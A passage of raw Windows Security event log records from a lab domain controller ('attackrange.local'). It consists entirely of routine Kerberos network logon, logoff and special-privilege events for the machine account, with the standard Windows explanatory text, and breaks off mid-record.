ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249040
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD0666

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249039
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD0666
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64116

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249038
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD0666

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249037
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD05E8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249036
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD05E8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64115

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249035
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD05E8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249034
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD056D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249033
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD056D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64114

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249032
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD056D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249055
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1BAC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249054
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1BAC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64121

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249053
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1BAC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249052
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1B4B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249051
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1B4B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64120

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249050
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1B4B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249049
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1AE5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249048
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1AE5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64119

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249047
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1AE5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249046
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1A84

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249045
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1A84
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64118

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:05 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249044
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1A84

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249067
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1D3D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249066
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1D3D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64125

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249065
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1D3D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249064
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1CDC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249063
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1CDC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64124

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249062
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1CDC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249061
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD1C76

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249060
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD1C76
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
